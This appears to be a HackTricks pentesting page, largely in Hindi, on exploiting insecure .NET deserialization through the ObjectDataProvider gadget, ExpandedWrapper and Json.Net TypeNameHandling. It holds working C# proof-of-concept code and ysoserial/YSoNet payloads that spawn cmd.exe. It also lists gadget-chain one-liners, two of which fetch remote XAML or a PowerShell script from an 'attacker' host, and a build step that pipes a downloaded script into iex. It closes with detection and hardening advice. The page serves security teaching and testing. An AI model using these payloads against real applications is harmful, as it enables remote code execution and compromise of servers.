hacktricks/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

20 KiB
Raw Blame History

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

{{#include ../../banners/hacktricks-training.md}}

यह पोस्ट यह समझने के लिए समर्पित है कि ObjectDataProvider गैजेट का शोषण कैसे किया जाता है RCE प्राप्त करने के लिए और कैसे Serialization पुस्तकालयों Json.Net और xmlSerializer का दुरुपयोग किया जा सकता है उस गैजेट के साथ।

ObjectDataProvider Gadget

दस्तावेज़ से: ObjectDataProvider Class एक ऑब्जेक्ट को लपेटता है और बनाता है जिसे आप एक बाइंडिंग स्रोत के रूप में उपयोग कर सकते हैं।
हाँ, यह एक अजीब व्याख्या है, तो चलो देखते हैं कि इस क्लास में ऐसा क्या है जो इतना दिलचस्प है: यह क्लास एक मनमाना ऑब्जेक्ट लपेटने की अनुमति देती है, MethodParameters का उपयोग करके मनमाने पैरामीटर सेट करने के लिए, और फिर MethodName का उपयोग करके मनमाने ऑब्जेक्ट के मनमाने फ़ंक्शन को कॉल करने के लिए।
इसलिए, मनमाना ऑब्जेक्ट डेसिरियलाइज करते समय पैरामीटर के साथ एक फ़ंक्शन निष्पादित करेगा।

यह कैसे संभव है

System.Windows.Data नामस्थान, जो PresentationFramework.dll में C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF पर पाया जाता है, वह जगह है जहाँ ObjectDataProvider परिभाषित और कार्यान्वित किया गया है।

dnSpy का उपयोग करके आप उस क्लास का कोड निरीक्षण कर सकते हैं जिसमें हम रुचि रखते हैं। नीचे दी गई छवि में हम PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name का कोड देख रहे हैं।

जैसा कि आप देख सकते हैं जब MethodName सेट किया जाता है तो base.Refresh() को कॉल किया जाता है, चलो देखते हैं कि यह क्या करता है:

ठीक है, चलो देखते हैं कि this.BeginQuery() क्या करता है। BeginQuery को ObjectDataProvider द्वारा ओवरराइड किया गया है और यह यह करता है:

ध्यान दें कि कोड के अंत में this.QueryWorke(null) को कॉल किया जा रहा है। चलो देखते हैं कि यह क्या निष्पादित करता है:

ध्यान दें कि यह QueryWorker फ़ंक्शन का पूरा कोड नहीं है लेकिन यह इसके दिलचस्प भाग को दिखाता है: कोड this.InvokeMethodOnInstance(out ex); को कॉल करता है; यह वह पंक्ति है जहाँ मेथड सेट को कॉल किया जाता है

यदि आप यह जांचना चाहते हैं कि केवल MethodName सेट करने पर यह निष्पादित होगा, तो आप यह कोड चला सकते हैं:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

ध्यान दें कि आपको System.Windows.Data को लोड करने के लिए संदर्भ के रूप में C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll जोड़ने की आवश्यकता है।

ExpandedWrapper

पिछले एक्सप्लॉइट का उपयोग करते समय ऐसे मामले होंगे जहाँ ऑब्जेक्ट को ObjectDataProvider उदाहरण के रूप में डिसेरियलाइज किया जाएगा (उदाहरण के लिए DotNetNuke vuln में, XmlSerializer का उपयोग करते हुए, ऑब्जेक्ट को GetType का उपयोग करके डिसेरियलाइज किया गया था)। फिर, ObjectDataProvider उदाहरण में लिपटे ऑब्जेक्ट प्रकार के बारे में कोई जानकारी नहीं होगी (Process उदाहरण के लिए)। आप DotNetNuke vuln के बारे में अधिक जानकारी यहाँ पा सकते हैं।

यह क्लास दिए गए उदाहरण में लिपटे ऑब्जेक्ट्स के ऑब्जेक्ट प्रकारों को निर्दिष्ट करने की अनुमति देती है। इसलिए, इस क्लास का उपयोग एक स्रोत ऑब्जेक्ट (ObjectDataProvider) को एक नए ऑब्जेक्ट प्रकार में लिपटाने और हमें आवश्यक प्रॉपर्टीज (ObjectDataProvider.MethodName और ObjectDataProvider.MethodParameters) प्रदान करने के लिए किया जा सकता है।
यह पहले प्रस्तुत किए गए मामले जैसे मामलों के लिए बहुत उपयोगी है, क्योंकि हम _ObjectDataProvider_ को एक ExpandedWrapper उदाहरण के अंदर लिपटाने में सक्षम होंगे और जब डिसेरियलाइज किया जाएगा तो यह क्लास OjectDataProvider ऑब्जेक्ट बनाएगी जो MethodName में निर्दिष्ट फंक्शन को निष्पादित करेगी।

आप निम्नलिखित कोड के साथ इस व्रैपर की जांच कर सकते हैं:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

In the official web page it is indicated that this library allows to Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. So, if we could deserialize the ObjectDataProvider gadget, we could cause a RCE just deserializing an object.

Json.Net example

First of all lets see an example on how to serialize/deserialize an object using this library:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Json.Net का दुरुपयोग

ysoserial.net का उपयोग करते हुए मैंने एक्सप्लॉइट बनाया:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

इस कोड में आप शोषण का परीक्षण कर सकते हैं, बस इसे चलाएँ और आप देखेंगे कि एक कैलकुलेटर निष्पादित होता है:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Advanced .NET Gadget Chains (YSoNet & ysoserial.net)

उपरोक्त ObjectDataProvider + ExpandedWrapper तकनीक केवल उन MANY gadget chains में से एक है जिन्हें unsafe .NET deserialization करते समय दुरुपयोग किया जा सकता है। आधुनिक रेड-टीम उपकरण जैसे YSoNet (और पुराना ysoserial.net) तैयार-से-उपयोग करने योग्य दुर्भावनापूर्ण ऑब्जेक्ट ग्राफ़ बनाने की प्रक्रिया को स्वचालित करते हैं, जो दर्जनों gadgets और serialization प्रारूपों के लिए होते हैं।

नीचे YSoNet के साथ भेजे गए सबसे उपयोगी chains का संक्षिप्त संदर्भ है, साथ ही यह भी बताया गया है कि वे कैसे काम करते हैं और payloads उत्पन्न करने के लिए उदाहरण कमांड।

Gadget Chain Key Idea / Primitive Common Serializers YSoNet one-liner
TypeConfuseDelegate DelegateSerializationHolder रिकॉर्ड को भ्रष्ट करता है ताकि, एक बार सामग्री में आने के बाद, डेलीगेट किसी भी हमलावर द्वारा प्रदान किए गए तरीके (जैसे Process.Start) की ओर इशारा करे BinaryFormatter, SoapFormatter, NetDataContractSerializer ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelector System.Workflow.ComponentModel.ActivitySurrogateSelector का दुरुपयोग करता है ताकि बायपास .NET ≥4.8 टाइप-फिल्टरिंग किया जा सके और सीधे एक प्रदान की गई कक्षा के constructor को कॉल किया जा सके या C# फ़ाइल को तात्कालिक रूप से कंपाइल किया जा सके BinaryFormatter, NetDataContractSerializer, LosFormatter ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviour System.Data.DataSet के legacy XML प्रतिनिधित्व का लाभ उठाता है ताकि <ColumnMapping> / <DataType> फ़ील्ड भरकर मनमाने प्रकारों को स्थापित किया जा सके (वैकल्पिक रूप से --spoofedAssembly के साथ assembly को फेक करना) LosFormatter, BinaryFormatter, XmlSerializer ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResults WPF-सक्षम रनटाइम्स (> .NET 5) पर प्रॉपर्टी गेटर्स को जोड़ता है जब तक कि System.CodeDom.Compiler.CompilerResults तक नहीं पहुँचता, फिर कंपाइल या -c के साथ प्रदान की गई DLL को लोड करता है Json.NET typeless, MessagePack typeless ysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (समीक्षा) WPF System.Windows.Data.ObjectDataProvider का उपयोग करता है ताकि नियंत्रित तर्कों के साथ एक मनमाना स्थिर विधि को कॉल किया जा सके। YSoNet एक सुविधाजनक --xamlurl विकल्प जोड़ता है ताकि दुर्भावनापूर्ण XAML को दूरस्थ रूप से होस्ट किया जा सके BinaryFormatter, Json.NET, XAML, आदि. ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565) System.Management.Automation.PSObject में ScriptBlock को एम्बेड करता है जो तब निष्पादित होता है जब PowerShell ऑब्जेक्ट को डीसिरियलाइज करता है PowerShell remoting, BinaryFormatter ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

Tip

सभी payloads डिफ़ॉल्ट रूप से stdout पर लिखे जाते हैं, जिससे उन्हें अन्य उपकरणों (जैसे ViewState जनरेटर, base64 एन्कोडर्स, HTTP क्लाइंट) में पाइप करना आसान हो जाता है।

YSoNet का निर्माण / स्थापना

यदि Actions ➜ Artifacts / Releases के तहत कोई पूर्व-निर्मित बाइनरी उपलब्ध नहीं है, तो निम्नलिखित PowerShell one-liner एक निर्माण वातावरण स्थापित करेगा, रिपॉजिटरी को क्लोन करेगा और Release मोड में सब कुछ संकलित करेगा:

Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

संकलित ysonet.exe फिर ysonet/bin/Release/ के तहत पाया जा सकता है।

पहचान और मजबूत करना

  • पहचानें w3wp.exe, PowerShell.exe, या किसी भी प्रक्रिया के अप्रत्याशित बाल प्रक्रियाएँ जो उपयोगकर्ता-प्रदत्त डेटा को डेसिरियलाइज कर रही हैं (जैसे MessagePack, Json.NET)।
  • जब भी पुरानी BinaryFormatter / NetDataContractSerializer को हटाया नहीं जा सकता है, तब प्रकार-फिल्टरिंग (TypeFilterLevel = Full, कस्टम SurrogateSelector, SerializationBinder, आदि) सक्षम करें और लागू करें
  • जहाँ संभव हो, System.Text.Json या DataContractJsonSerializer पर व्हाइटलिस्ट-आधारित कन्वर्टर्स के साथ माइग्रेट करें।
  • खतरनाक WPF असेंबली (PresentationFramework, System.Workflow.*) को उन वेब प्रक्रियाओं में लोड होने से रोकें जिन्हें कभी भी उनकी आवश्यकता नहीं होनी चाहिए।

संदर्भ

{{#include ../../banners/hacktricks-training.md}}